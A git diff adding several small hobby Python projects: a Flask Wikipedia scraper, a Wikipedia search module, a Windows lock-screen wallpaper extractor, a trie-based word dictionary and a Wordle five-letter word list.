expand=True) + except Exception: + sys.exit() + + +def main(): + browser = Browser() + browser.mainloop() + + +if __name__ == "__main__": + # Webbrowser v1.0 + main() diff --git a/Wikipdedia/flask_rendering.py b/Wikipdedia/flask_rendering.py new file mode 100644 index 00000000000..4dc0432dc22 --- /dev/null +++ b/Wikipdedia/flask_rendering.py @@ -0,0 +1,32 @@ +from flask import Flask, render_template, request +import practice_beautifulsoap as data + +app = Flask(__name__, template_folder="template") + + +@app.route("/", methods=["GET", "POST"]) +def index(): + languages = data.lang() + return render_template("index.html", languages=languages) + + +@app.route("/display", methods=["POST"]) +def output(): + if request.method == "POST": + entered_topic = request.form.get("topic") + selected_language = request.form.get("language") + + soup_data = data.data(entered_topic, selected_language) + soup_image = data.get_image_urls(entered_topic) + + return render_template( + "output.html", + heading=entered_topic.upper(), + data=soup_data, + url=soup_image, + language=selected_language, + ) + + +if __name__ == "__main__": + app.run(debug=True) diff --git a/Wikipdedia/main.py b/Wikipdedia/main.py new file mode 100644 index 00000000000..c937c7cff1b --- /dev/null +++ b/Wikipdedia/main.py @@ -0,0 +1,16 @@ +# This is a sample Python script. + +# Press Shift+F10 to execute it or replace it with your code. +# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings. + + +def print_hi(name): + # Use a breakpoint in the code line below to debug your script. + print(f"Hi, {name}") # Press Ctrl+F8 to toggle the breakpoint. + + +# Press the green button in the gutter to run the script. +if __name__ == "__main__": + print_hi("PyCharm") + +# See PyCharm help at https://www.jetbrains.com/help/pycharm/ diff --git a/Wikipdedia/practice_beautifulsoap.py b/Wikipdedia/practice_beautifulsoap.py new file mode 100644 index 00000000000..01938c24139 --- /dev/null +++ b/Wikipdedia/practice_beautifulsoap.py @@ -0,0 +1,71 @@ +from bs4 import BeautifulSoup +import requests + +language_symbols = {} + + +def lang(): + try: + response = requests.get("https://www.wikipedia.org/") + response.raise_for_status() + soup = BeautifulSoup(response.content, "html.parser") + + for option in soup.find_all("option"): + language = option.text + symbol = option["lang"] + language_symbols[language] = symbol + + return list(language_symbols.keys()) + + except requests.exceptions.RequestException as e: + print("Error fetching language data:", e) + return [] + + +def data(selected_topic, selected_language): + symbol = language_symbols.get(selected_language) + + try: + url = f"https://{symbol}.wikipedia.org/wiki/{selected_topic}" + data_response = requests.get(url) + data_response.raise_for_status() + data_soup = BeautifulSoup(data_response.content, "html.parser") + + main_content = data_soup.find("div", {"id": "mw-content-text"}) + filtered_content = "" + + if main_content: + for element in main_content.descendants: + if element.name in ["h1", "h2", "h3", "h4", "h5", "h6"]: + filtered_content += ( + "\n" + element.get_text(strip=True).upper() + "\n" + ) + + elif element.name == "p": + filtered_content += element.get_text(strip=True) + "\n" + + return filtered_content + + except requests.exceptions.RequestException as e: + print("Error fetching Wikipedia content:", e) + return "Error fetching data." + + +def get_image_urls(query): + try: + search_url = f"https://www.google.com/search?q={query}&tbm=isch" + image_response = requests.get(search_url) + image_response.raise_for_status() + image_soup = BeautifulSoup(image_response.content, "html.parser") + + image_urls = [] + for img in image_soup.find_all("img"): + image_url = img.get("src") + if image_url and image_url.startswith("http"): + image_urls.append(image_url) + + return image_urls[0] + + except requests.exceptions.RequestException as e: + print("Error fetching image URLs:", e) + return None diff --git a/Wikipdedia/static/js/output.js b/Wikipdedia/static/js/output.js new file mode 100644 index 00000000000..5c360de488e --- /dev/null +++ b/Wikipdedia/static/js/output.js @@ -0,0 +1,9 @@ +function validateForm() { + var language = document.getElementById("language").value; + + if (language === "Select") { + alert("Please select a language."); + return false; + } +} + diff --git a/Wikipdedia/template/index.html b/Wikipdedia/template/index.html new file mode 100644 index 00000000000..7a2bdb712ab --- /dev/null +++ b/Wikipdedia/template/index.html @@ -0,0 +1,42 @@ + + + + + + + Input Web Page + + + + + +
+ +

Wikipedia

+
+ +
+
+ + +
+
+ + +
+ + +
+ + + + + + + + diff --git a/Wikipdedia/template/output.html b/Wikipdedia/template/output.html new file mode 100644 index 00000000000..ee2d3b0b240 --- /dev/null +++ b/Wikipdedia/template/output.html @@ -0,0 +1,35 @@ + + + + + + + Output Web Page + + + + + +
+ +

{{ heading }}

+
in {{ language }} language
+
+
+
+
{{ data }}
+
+
+ + + + + + + diff --git a/WikipediaModule.py b/WikipediaModule.py new file mode 100644 index 00000000000..ca28501fa41 --- /dev/null +++ b/WikipediaModule.py @@ -0,0 +1,90 @@ +""" +Created on Sat Jul 15 01:41:31 2017 + +@author: Albert +""" + +from __future__ import print_function + +import wikipedia as wk +from bs4 import BeautifulSoup + + +def wiki(): + """ + Search Anything in wikipedia + """ + + word = input("Wikipedia Search : ") + results = wk.search(word) + for i in enumerate(results): + print(i) + try: + key = int(input("Enter the number : ")) + except AssertionError: + key = int(input("Please enter corresponding article number : ")) + + page = wk.page(results[key]) + url = page.url + # originalTitle=page.original_title + pageId = page.pageid + # references=page.references + title = page.title + # soup=BeautifulSoup(page.content,'lxml') + pageLength = input("""Wiki Page Type : 1.Full 2.Summary : """) + if pageLength == 1: + soup = fullPage(page) + print(soup) + else: + print(title) + print("Page Id = ", pageId) + print(page.summary) + print("Page Link = ", url) + # print "References : ",references + + pass + + +def fullPage(page): + soup = BeautifulSoup(page.content, "lxml") + return soup + + +def randomWiki(): + """ + This function gives you a list of n number of random articles + Choose any article. + """ + number = input("No: of Random Pages : ") + lst = wk.random(number) + for i in enumerate(lst): + print(i) + try: + key = input("Enter the number : ") + assert key >= 0 and key < number + except AssertionError: + key = input("Please enter corresponding article number : ") + + page = wk.page(lst[key]) + url = page.url + # originalTitle=page.original_title + pageId = page.pageid + # references=page.references + title = page.title + # soup=BeautifulSoup(page.content,'lxml') + pageLength = input("""Wiki Page Type : 1.Full 2.Summary : """) + if pageLength == 1: + soup = fullPage(page) + print(soup) + else: + print(title) + print("Page Id = ", pageId) + print(page.summary) + print("Page Link = ", url) + # print "References : ",references + + pass + + +# if __name__=="__main__": +# wiki() diff --git a/Windows_Wallpaper_Script/ReadMe.md b/Windows_Wallpaper_Script/ReadMe.md new file mode 100644 index 00000000000..96e0558fbc5 --- /dev/null +++ b/Windows_Wallpaper_Script/ReadMe.md @@ -0,0 +1,15 @@ +# Windows Wallpaper Script +Ever seen those amazing windows wallpapers on your windows lock screen? This Python Script will Import all of those amazing wallpapers into the current folder that the script is in. +The wallpapers keep changing with time when connected to the internet so you can run the script after you notice new wallpapers on your lockscreen in order to obtain them. + +***Optional:*** You can also use the windows task scheduler and schedule +the script to run in a set time interval and also set the desktop wallpaper folder as default wallpaper folder. For more Info on task scheduling in Windows 10, +Look Here: [Task Scheduling in windows](https://www.digitalcitizen.life/how-create-task-basic-task-wizard) + +# Requirements + * A Windows 10 PC + * Python 3x + * PIL Module For Python 3x + +# Procedure + * Run the script and enjoy! diff --git a/Windows_Wallpaper_Script/Wallpapers/desktop/89d49683c75888287b50ccb05cab960b991231639dabe5bc817e1d9395a39694.jpg b/Windows_Wallpaper_Script/Wallpapers/desktop/89d49683c75888287b50ccb05cab960b991231639dabe5bc817e1d9395a39694.jpg new file mode 100644 index 00000000000..32f2651ea94 Binary files /dev/null and b/Windows_Wallpaper_Script/Wallpapers/desktop/89d49683c75888287b50ccb05cab960b991231639dabe5bc817e1d9395a39694.jpg differ diff --git a/Windows_Wallpaper_Script/Wallpapers/desktop/acc15612b1c85619e06c584a52f6474242963dbb9fe315ec4ecd44de8f3702c8.jpg b/Windows_Wallpaper_Script/Wallpapers/desktop/acc15612b1c85619e06c584a52f6474242963dbb9fe315ec4ecd44de8f3702c8.jpg new file mode 100644 index 00000000000..b3d2c66fa24 Binary files /dev/null and b/Windows_Wallpaper_Script/Wallpapers/desktop/acc15612b1c85619e06c584a52f6474242963dbb9fe315ec4ecd44de8f3702c8.jpg differ diff --git a/Windows_Wallpaper_Script/Wallpapers/desktop/c1385a4022859c16bdf317e09668dbb3fc41a7e1c160605539abd1bcd29625af.jpg b/Windows_Wallpaper_Script/Wallpapers/desktop/c1385a4022859c16bdf317e09668dbb3fc41a7e1c160605539abd1bcd29625af.jpg new file mode 100644 index 00000000000..3efab3a2ce4 Binary files /dev/null and b/Windows_Wallpaper_Script/Wallpapers/desktop/c1385a4022859c16bdf317e09668dbb3fc41a7e1c160605539abd1bcd29625af.jpg differ diff --git a/Windows_Wallpaper_Script/Wallpapers/mobile/5678c6685841ab637cfa63b8c0e32ee205649af2051eb75f40b00f4d5a42b7b9.jpg b/Windows_Wallpaper_Script/Wallpapers/mobile/5678c6685841ab637cfa63b8c0e32ee205649af2051eb75f40b00f4d5a42b7b9.jpg new file mode 100644 index 00000000000..eab4980cf8b Binary files /dev/null and b/Windows_Wallpaper_Script/Wallpapers/mobile/5678c6685841ab637cfa63b8c0e32ee205649af2051eb75f40b00f4d5a42b7b9.jpg differ diff --git a/Windows_Wallpaper_Script/Wallpapers/mobile/a33845e422c7d1b668f60e53e942736c7bbc74299469b7df734254d28e026dc4.jpg b/Windows_Wallpaper_Script/Wallpapers/mobile/a33845e422c7d1b668f60e53e942736c7bbc74299469b7df734254d28e026dc4.jpg new file mode 100644 index 00000000000..8e0fa08c953 Binary files /dev/null and b/Windows_Wallpaper_Script/Wallpapers/mobile/a33845e422c7d1b668f60e53e942736c7bbc74299469b7df734254d28e026dc4.jpg differ diff --git a/Windows_Wallpaper_Script/Wallpapers/mobile/e22f23869f500ee576cdc02fb83f911de31440d589e329d04576e571a54b8851.jpg b/Windows_Wallpaper_Script/Wallpapers/mobile/e22f23869f500ee576cdc02fb83f911de31440d589e329d04576e571a54b8851.jpg new file mode 100644 index 00000000000..e26172ab1ac Binary files /dev/null and b/Windows_Wallpaper_Script/Wallpapers/mobile/e22f23869f500ee576cdc02fb83f911de31440d589e329d04576e571a54b8851.jpg differ diff --git a/Windows_Wallpaper_Script/wallpaper_extract.py b/Windows_Wallpaper_Script/wallpaper_extract.py new file mode 100644 index 00000000000..541462bdff4 --- /dev/null +++ b/Windows_Wallpaper_Script/wallpaper_extract.py @@ -0,0 +1,126 @@ +import os +import shutil +import time + +from PIL import Image + + +class Wallpaper: + # Set Environment Variables + username = os.environ["USERNAME"] + # An Amazing Code You Will Love To Have + # All file urls + file_urls = { + "wall_src": "C:\\Users\\" + + username + + "\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\" + + "LocalState\\Assets\\", + "wall_dst": os.path.dirname(os.path.abspath(__file__)) + "\\Wallpapers\\", + "wall_mobile": os.path.dirname(os.path.abspath(__file__)) + + "\\Wallpapers\\mobile\\", + "wall_desktop": os.path.dirname(os.path.abspath(__file__)) + + "\\Wallpapers\\desktop\\", + } + msg = """ + DDDDD OOOOO NN N EEEEEEE + D D O O N N N E + D D O O N N N E + D D O O N N N EEEE + D D O O N N N E + D D O O N N N E + DDDDD OOOOO N NN EEEEEEE + """ + + # A method to showcase time effect + @staticmethod + def time_gap(string): + print(string, end="") + time.sleep(1) + print(".", end="") + time.sleep(1) + print(".") + + # A method to import the wallpapers from src folder(dir_src) + @staticmethod + def copy_wallpapers(): + w = Wallpaper + w.time_gap("Copying Wallpapers") + # Copy All Wallpapers From Src Folder To Dest Folder + for filename in os.listdir(w.file_urls["wall_src"]): + shutil.copy(w.file_urls["wall_src"] + filename, w.file_urls["wall_dst"]) + + # A method to Change all the Extensions + @staticmethod + def change_ext(): + w = Wallpaper + w.time_gap("Changing Extensions") + # Look into all the files in the executing folder and change extension + for filename in os.listdir(w.file_urls["wall_dst"]): + base_file, ext = os.path.splitext(filename) + if ext == "": + if not os.path.isdir(w.file_urls["wall_dst"] + filename): + os.rename( + w.file_urls["wall_dst"] + filename, + w.file_urls["wall_dst"] + filename + ".jpg", + ) + + # Remove all files Not having Wallpaper Resolution + @staticmethod + def extract_wall(): + w = Wallpaper + w.time_gap("Extracting Wallpapers") + for filename in os.listdir(w.file_urls["wall_dst"]): + base_file, ext = os.path.splitext(filename) + if ext == ".jpg": + try: + im = Image.open(w.file_urls["wall_dst"] + filename) + except IOError: + print("This isn't a picture.", filename) + if list(im.size)[0] != 1920 and list(im.size)[0] != 1080: + im.close() + os.remove(w.file_urls["wall_dst"] + filename) + else: + im.close() + + # Arrange the wallpapers into the corresponding folders + @staticmethod + def arr_desk_wallpapers(): + w = Wallpaper + w.time_gap("Arranging Desktop wallpapers") + for filename in os.listdir(w.file_urls["wall_dst"]): + base_file, ext = os.path.splitext(filename) + if ext == ".jpg": + try: + im = Image.open(w.file_urls["wall_dst"] + filename) + + if list(im.size)[0] == 1920: + im.close() + os.rename( + w.file_urls["wall_dst"] + filename, + w.file_urls["wall_desktop"] + filename, + ) + elif list(im.size)[0] == 1080: + im.close() + os.rename( + w.file_urls["wall_dst"] + filename, + w.file_urls["wall_mobile"] + filename, + ) + else: + im.close() + except FileExistsError: + print("File Already Exists!") + os.remove(w.file_urls["wall_dst"] + filename) + + @staticmethod + def exec_all(): + w = Wallpaper + w.copy_wallpapers() + w.change_ext() + w.extract_wall() + w.arr_desk_wallpapers() + print(w.msg) + time.sleep(2) + + +wall = Wallpaper() +wall.exec_all() diff --git a/Word_Dictionary/dictionary.py b/Word_Dictionary/dictionary.py new file mode 100644 index 00000000000..30028791152 --- /dev/null +++ b/Word_Dictionary/dictionary.py @@ -0,0 +1,59 @@ +from typing import Dict, List + + +class Dictionary: + def __init__(self): + self.node = {} + + def add_word(self, word: str) -> None: + node = self.node + for ltr in word: + if ltr not in node: + node[ltr] = {} + node = node[ltr] + node["is_word"] = True + + def word_exists(self, word: str) -> bool: + node = self.node + for ltr in word: + if ltr not in node: + return False + node = node[ltr] + return "is_word" in node + + def list_words_from_node(self, node: Dict, spelling: str) -> None: + if "is_word" in node: + self.words_list.append(spelling) + return + for ltr in node: + self.list_words_from_node(node[ltr], spelling + ltr) + + def print_all_words_in_dictionary(self) -> List[str]: + node = self.node + self.words_list = [] + self.list_words_from_node(node, "") + return self.words_list + + def suggest_words_starting_with(self, prefix: str) -> List[str]: + node = self.node + for ltr in prefix: + if ltr not in node: + return False + node = node[ltr] + self.words_list = [] + self.list_words_from_node(node, prefix) + return self.words_list + + +# Your Dictionary object will be instantiated and called as such: +obj = Dictionary() +obj.add_word("word") +obj.add_word("woke") +obj.add_word("happy") + +param_2 = obj.word_exists("word") +param_3 = obj.suggest_words_starting_with("wo") + +print(param_2) +print(param_3) +print(obj.print_all_words_in_dictionary()) diff --git a/Wordle/5 letter word dictionary.txt b/Wordle/5 letter word dictionary.txt new file mode 100644 index 00000000000..06b904b1a3d --- /dev/null +++ b/Wordle/5 letter word dictionary.txt @@ -0,0 +1,11435 @@ +aaron +ababa +abaca +abaci +aback +abacs +abaft +aband +abase +abash +abask +abate +abaya +abbas +abbes +abbey +abbot +abeam +abear +abeds +abele +abets +abhor +abide +abies +abler +ablet +ablow +abode +aboil +abord +abore +abort +about +above +abram +abray +abrim +abrin +abrus +absey +absit +abuna +abune +abuse +abuts +abuzz +abyes +abysm +abyss +acari +accoy +accra +acerb +acers +ached +aches +acids +acing +acini +ackee +acmes +acock +acold +acorn +acred +acres +acrid +acryl +acted +acter +actin +acton +actor +actus +acute +adage +adams +adapt +adays +addax +added +adder +addie +addio +addis +addle +adeem +adela +adele +adept +adieu +adige +adios +adits +adler +adman +admin +admit +admix +adobe +adolf +adopt +adore +adorn +adown +adrad +adred +adsum +adult +adunc +adust +advew +adyta +adzes +aecia +aedes +aegis +aeons +aequo +aerie +aesir +aesop +afara +afear +affix +afire +aflaj +afoot +afore +afoul +afric +afrit +afros +after +again +agama +agami +agana +agape +agars +agast +agate +agave +agaze +agene +agent +agers +agger +aggie +aggro +aggry +aghas +agila +agile +aging +agios +agism +agist +aglee +aglet +agley +aglow +agmas +agnes +agnew +agnus +agoge +agone +agons +agony +agood +agora +agree +agrin +agued +agues +aguti +ahead +aheap +ahems +ahern +ahigh +ahind +ahint +ahold +ahoys +ahull +aidan +aided +aider +aides +aigre +ailed +ailes +aimed +ain't +ainee +aioli +aired +airer +aires +airns +airts +aisha +aisle +aisne +aitch +aitus +aizle +ajwan +akaba +akees +akela +akene +aking +akron +alaap +alack +alain +alamo +aland +alang +alapa +alarm +alary +alate +alays +alban +albee +album +aldea +alder +aldis +aleck +alecs +aleft +aleph +alert +alfas +algae +algal +algid +algin +algol +algum +alias +alibi +alice +alien +align +alike +aline +alios +alive +aliya +alkie +alkyd +alkyl +allah +allan +allay +allee +allen +aller +alley +allie +allis +alloa +allod +allot +allow +alloy +allyl +almah +almas +almeh +almes +almug +alnus +alods +aloed +aloes +aloft +aloha +alone +along +aloof +aloud +alowe +alpes +alpha +altar +alter +alton +altos +alula +alums +alure +alvin +alway +amahs +amain +amass +amate +amati +amaze +amban +amber +ambit +amble +ambos +ambry +ameba +ameer +amend +amene +amens +ament +amice +amici +amide +amigo +amine +amino +amirs +amish +amiss +amity +amlas +amman +ammer +ammon +amnia +among +amore +amort +amour +amove +ampex +ample +amply +ampul +amrit +amuck +amuse +anana +anans +ancle +ancon +andes +andre +anear +anele +anent +angel +anger +angie +angle +anglo +angry +angst +angus +anigh +anile +anils +anima +anime +animo +anion +anise +anita +anjou +anker +ankhs +ankle +ankus +annal +annam +annas +annat +annex +annie +annoy +annul +annum +annus +anoas +anode +anomy +anona +anons +antae +antar +anted +antes +antic +antis +anton +antra +antre +anura +anvil +anzac +anzio +anzus +aorta +apace +apaid +apart +apayd +apays +apeak +apeek +apert +apery +apgar +aphid +aphis +apian +aping +apiol +apish +apism +apnea +apode +apods +apoop +aport +appal +appay +appel +apple +apply +appro +appui +appuy +apres +april +apron +apses +apsis +apsos +apter +aptly +aqaba +araba +arabs +araby +araks +arame +arars +arbas +arbor +arced +archy +arcus +ardea +ardeb +arden +ardor +ardua +aread +areal +arear +areas +areca +aredd +arede +arefy +arena +arere +arete +arets +arett +argal +argan +argie +argil +argle +argol +argon +argos +argot +argue +argus +arian +arias +ariel +aries +arils +ariot +arise +arish +arled +arles +armed +armes +armet +armil +armis +armor +arnut +aroba +aroid +aroma +arose +arrah +arran +arras +arrau +array +arret +arris +arrow +arses +arsis +arson +artal +artel +artem +artex +artic +artie +artsy +aruba +arums +arval +arvin +arvos +aryan +aryls +asana +ascii +ascot +ascus +asdic +ashby +ashen +asher +ashes +ashet +asian +aside +asked +asker +askew +askey +aspen +asper +aspic +assai +assam +assay +asses +asset +assot +aster +astir +aston +astor +astra +aswan +asway +aswim +ataps +ataxy +athos +atilt +atimy +atlas +atman +atocs +atoke +atoks +atoll +atoms +atomy +atone +atony +atopy +atque +atria +atrip +attar +attic +auber +auden +audio +audit +auger +aught +augur +aulas +aulic +auloi +aulos +aumil +aunes +aunts +aunty +aurae +aural +auras +aurea +aurei +auric +auris +aurum +autos +auxin +avail +avale +avant +avast +avena +avens +avers +avert +avery +avgas +avian +avine +avion +avise +aviso +avize +avoid +avows +await +awake +award +aware +awarn +awash +awave +aways +awdls +aweel +aweto +awful +awing +awned +awner +awoke +awork +axels +axial +axile +axils +axing +axiom +axles +axman +axmen +axoid +axons +ayahs +ayelp +ayers +ayont +ayres +ayrie +azans +azeri +azide +azine +azoic +azote +azoth +aztec +azure +azury +azyme +baaed +babar +babas +babee +babel +baber +babes +babis +baboo +babul +babus +bacca +baccy +bachs +backs +bacon +bacup +baddy +baden +bader +badge +badly +baels +baffs +baffy +bagel +baggy +bahai +bahts +bahut +bails +bains +baird +bairn +baits +baize +bajan +bajau +bajra +bajri +bajus +baked +baken +baker +bakes +bakst +balas +baldi +baldy +baled +baler +bales +balks +balky +ballo +balls +bally +balms +balmy +baloo +balsa +balti +balus +bambi +banal +banat +banco +bancs +banda +bande +bands +bandy +baned +banes +banff +bangs +bania +banjo +banks +banns +bants +bantu +bapus +barbe +barbs +barca +bardo +bards +bardy +bared +barer +bares +barfs +barge +bargy +baric +barks +barky +barms +barmy +barns +baron +barra +barre +barry +barye +basal +basan +based +basel +baser +bases +bashi +basho +basic +basie +basil +basin +basis +basks +basle +bason +basra +basse +bassi +basso +bassy +basta +baste +basto +basts +batch +bated +bater +bates +bathe +baths +batik +baton +bator +batta +batts +batty +bauds +bauer +baulk +baurs +bavin +bawds +bawdy +bawls +bawns +bawrs +bayed +bayle +bayou +bazar +beach +beads +beady +beaks +beaky +beams +beamy +beano +beans +beany +beard +bears +beast +beate +beath +beats +beaut +beaux +bebop +beche +becks +becky +bedad +beddy +bedel +bedew +bedim +bedye +beech +beefs +beefy +beens +beeps +beers +beery +beets +befit +befog +begad +began +begar +begat +beget +begin +begot +begum +begun +behan +beige +being +bekah +belah +belay +belch +belee +belga +belie +bella +belle +belli +bello +bells +belly +below +belts +bemas +bench +bends +bendy +benes +benet +benin +benis +benjy +benne +benni +benny +bents +benty +beray +beres +beret +bergs +beria +berio +berks +berms +berne +berob +berry +berth +beryl +besat +besee +beset +besit +besom +besot +bessy +bests +betas +betel +betes +beths +betid +beton +betsy +betty +betws +bevan +bevel +bever +bevin +bevue +bevvy +bewet +bewig +bezel +bhaji +bhang +bhels +bibby +bible +biccy +bicep +biddy +bided +bides +bidet +bidon +bield +biers +biffs +bifid +bigae +biggs +biggy +bigha +bight +bigot +bihar +bijou +biked +biker +bikes +bikie +bilbo +biles +bilge +bilgy +bilks +bills +billy +bimbo +bindi +binds +bines +binge +bingo +bings +bingy +binks +bints +biogs +biome +biont +biota +biped +bipod +birch +birds +birks +birle +birls +biros +birrs +birse +birsy +birth +bises +bisks +bison +bisto +bitch +biter +bites +bitos +bitsy +bitte +bitts +bitty +bivvy +bizet +blabs +blaby +black +blade +blads +blaes +blags +blain +blair +blake +blame +blanc +bland +blank +blare +blase +blash +blast +blate +blats +blaue +blays +blaze +bleak +blear +bleat +blebs +bleed +bleep +blees +blend +blent +bless +blest +blets +bleus +bligh +blimp +blimy +blind +blini +blink +blins +blips +bliss +blite +blitz +bloat +blobs +bloch +block +blocs +blois +bloke +blond +blood +bloom +bloop +blore +blots +blown +blows +blowy +blubs +blude +blued +bluer +blues +bluet +bluey +bluff +blunt +blurb +blurs +blurt +blush +blyth +boaks +board +boars +boart +boast +boats +bobac +bobby +bocca +boche +bocks +boded +bodes +bodge +bodhi +bodle +boers +boeuf +boffo +boffs +bogan +bogey +boggy +bogie +bogle +bogus +bohea +boils +boing +boink +boist +boito +boked +bokes +bokos +bolas +boles +bolls +bolos +bolts +bolus +bomas +bombe +bombo +bombs +bonce +bonds +bondy +boned +boner +bones +bongo +bongs +bonks +bonne +bonny +bonum +bonus +bonza +bonze +boobs +booby +boody +booed +books +booky +boole +booms +boone +boong +boons +boors +boost +booth +boots +booty +booze +boozy +borak +boras +borax +borde +bored +boree +borel +borer +bores +boric +boris +borne +borns +boron +borth +borts +bosch +bosks +bosky +bosom +boson +bossa +bossy +bosun +botch +botel +bothy +botte +botts +botty +bouge +bough +bouks +boule +boult +bound +bourd +bourg +bourn +bouse +bousy +bouts +bovid +bowed +bowel +bower +bowet +bowie +bowls +bowse +boxed +boxen +boxer +boxes +boyar +boyau +boyce +boyle +boyos +bozos +brace +brach +brack +bract +brads +braes +bragg +brags +brahe +braid +brail +brain +brake +braky +brame +brand +brank +brans +brant +brash +brass +brats +braun +brava +brave +bravi +bravo +brawl +brawn +braws +braxy +brays +braze +bread +break +bream +breda +brede +breed +brees +breme +brens +brent +brere +brest +brett +breve +brews +brian +briar +bribe +brick +bride +brief +brier +brigg +brigs +brill +brims +brine +bring +brink +briny +brise +brisk +brits +broad +broch +brock +brogs +broil +broke +brome +bronx +brood +brook +brool +broom +broos +brose +broth +brown +brows +bruce +bruch +bruin +bruit +brule +brume +bruno +brunt +brush +brust +brute +bryan +buats +buaze +bubal +bubby +bucco +buchu +bucko +bucks +buddy +budge +buffa +buffe +buffi +buffo +buffs +buggy +bugle +buhls +buick +build +built +bulbs +bulge +bulgy +bulks +bulky +bulla +bulls +bully +bulse +bumbo +bumfs +bumph +bumps +bumpy +bunce +bunch +bunco +bunds +bundu +bundy +bungs +bungy +bunia +bunko +bunks +bunny +bunts +bunty +bunya +buona +buoys +buppy +buran +burds +buret +burgh +burgs +burin +burka +burke +burks +burls +burly +burma +burne +burns +burnt +buroo +burps +burro +burrs +burry +bursa +burse +burst +busby +bused +buses +bushy +busks +busky +bussu +busts +busty +butch +butea +butte +butts +butty +butyl +buxom +buyer +buzzy +bwana +byatt +byers +byked +bykes +bylaw +byres +byron +bytes +byway +caaba +cabal +cabas +cabby +caber +cabin +cable +cabob +caboc +cabot +cabre +cacao +cache +cacti +caddy +cadee +cader +cades +cadet +cadge +cadgy +cadie +cadis +cadiz +cadre +caeca +caelo +caese +cafes +caffs +caged +cages +cagey +cagot +caine +cains +caird +cairn +cairo +caius +cajun +caked +cakes +cakey +calfs +calid +calif +calix +calks +calla +calls +calms +calmy +calor +calpa +calve +calyx +caman +camas +camel +cameo +cames +camis +campo +camps +campy +camus +can't +canal +candy +caned +canem +canes +cangs +canid +canis +canna +canns +canny +canoe +canon +canst +canto +cants +canty +capas +caped +caper +capes +capet +capiz +capon +capos +capot +capra +capri +caput +carap +carat +carbs +carby +cardi +cards +cardy +cared +carer +cares +caret +carew +carex +carey +cargo +carib +carks +carla +carlo +carls +carne +carny +carob +carol +carom +carpe +carpi +carps +carre +carrs +carry +carse +carta +carte +carts +carve +carvy +casas +casca +casco +cased +cases +casey +casks +caste +casts +casus +catch +cater +cates +cathy +catty +cauld +caulk +cauls +causa +cause +cavae +cavan +caved +cavel +caver +caves +cavie +cavil +cawed +caxon +cease +cebus +cecal +cecil +cecum +cedar +ceded +cedes +cedis +ceils +celeb +celia +cella +cello +cells +celom +celts +cense +cento +cents +ceorl +cered +ceres +ceria +ceric +certs +cesse +cetes +cetus +cetyl +chace +chaco +chads +chafe +chaff +chaft +chain +chair +chais +chalk +chals +champ +chams +chank +chant +chaos +chape +chaps +chara +chard +chare +chark +charm +charr +chars +chart +chary +chase +chasm +chats +chaud +chaws +chaya +chays +cheam +cheap +cheat +check +cheek +cheep +cheer +chefs +cheka +chela +chere +chert +chess +chest +chevy +chews +chewy +chian +chiao +chiba +chica +chich +chick +chico +chide +chief +chiel +chiff +child +chile +chili +chill +chimb +chime +chimp +china +chine +ching +chink +chino +chins +chios +chips +chirk +chirm +chirp +chirr +chirt +chita +chits +chive +chivs +chivy +chizz +chloe +chock +choco +chocs +choir +choix +choke +choko +choky +choli +chomp +choof +chook +choom +choos +chops +chord +chore +chose +chota +chott +chout +choux +chows +chris +chubb +chubs +chuck +chufa +chuff +chugs +chump +chums +chunk +churl +churn +churr +chuse +chute +chuts +chyle +chyme +ciaos +cibol +cider +cigar +ciggy +cilia +cills +cimex +cinch +cinct +cindy +cinna +cions +cippi +circa +circe +circs +cires +cirls +cirri +cirro +cisco +cissy +cists +cital +cited +citer +cites +cives +civet +civic +civil +civvy +clack +clade +clads +claes +clags +claim +clair +clame +clamp +clams +clang +clank +clans +claps +clara +clare +clark +claro +clart +clary +clash +clasp +class +clast +claud +claus +clave +claws +clays +clean +clear +cleat +cleck +cleek +clefs +cleft +clegs +clems +clepe +clerk +cleve +clews +click +clied +clies +cliff +clift +climb +clime +cline +cling +clink +clint +clips +clipt +clish +clive +cloak +cloam +clock +clods +cloff +clogs +cloke +clomb +clomp +clone +clonk +cloop +cloot +clops +close +clote +cloth +clots +cloud +clour +clous +clout +clove +clown +clows +cloys +cloze +clubs +cluck +clued +clues +clump +clung +clunk +cluny +clwyd +clyde +clype +cnida +coach +coact +coals +coaly +coapt +coarb +coast +coati +coats +cobbs +cobby +cobia +coble +cobol +cobra +cocas +cocci +cocco +cocks +cocky +cocoa +cocos +cocus +codas +coded +coder +codes +codex +codon +coeds +coeur +coffs +cogie +cogue +cohab +cohen +cohoe +cohog +cohos +coifs +coign +coils +coins +coked +cokes +cokey +colas +colds +coles +coley +colic +colin +colle +colly +colne +colon +color +colts +colza +comae +comal +comas +combe +combo +combs +comby +comer +comes +comet +comfy +comic +comma +comme +commo +commy +compo +comps +compt +comte +comus +conan +conch +condo +coned +cones +coney +conga +conge +congo +conia +conic +conin +conks +conky +conns +conor +conte +conto +conwy +cooed +cooee +cooey +coofs +cooks +cooky +cools +cooly +coomb +cooms +coomy +coons +coops +coopt +coost +coots +copal +coped +coper +copes +coppy +copra +copse +copsy +copts +coral +coram +corbe +corby +corda +cords +cored +corer +cores +corey +corfu +corgi +corin +corks +corky +corms +corni +corno +corns +cornu +corny +corot +corps +corse +corso +corti +cosec +cosed +coses +coset +costa +coste +costs +cotes +coths +cotta +cotts +couch +coude +cough +could +count +coupe +coups +courb +court +couth +coved +coven +cover +coves +covet +covey +covin +cowal +cowan +cowed +cower +cowes +cowls +cowps +cowry +coxae +coxal +coxed +coxes +coyer +coyly +coypu +cozed +cozen +cozes +crabs +crack +craft +crags +craig +crake +cramp +crams +crane +crank +crans +crape +craps +crapy +crare +crash +crass +crate +crave +crawl +craws +crays +craze +crazy +creak +cream +crecy +credo +creed +creek +creel +creep +crees +creme +crena +creon +crepe +crept +crepy +cress +crest +crete +creve +crewe +crews +cribs +crick +cried +crier +cries +crime +crimp +crine +crise +crisp +crith +crits +croak +croat +crock +crocs +croft +crohn +croix +crone +cronk +crony +crook +croon +crops +crore +cross +croup +crout +crowd +crown +crows +croze +cruck +crude +cruds +crudy +cruel +cruet +cruft +crumb +crump +cruor +cruse +crush +crust +crwth +crypt +ctene +cuban +cubby +cubeb +cubed +cubes +cubic +cubit +cuddy +cuffs +cufic +cuifs +cuing +cuish +cuits +culch +culet +culex +culls +cully +culms +culpa +cults +cumin +cuneo +cunha +cunts +cupel +cupid +cuppa +cupro +curae +curat +curbs +curch +curds +curdy +cured +curer +cures +curia +curie +curio +curls +curly +curns +currs +curry +curse +cursi +curst +curve +curvy +cusec +cushy +cusks +cusps +cutch +cuter +cutes +cutey +cutie +cutin +cutis +cutty 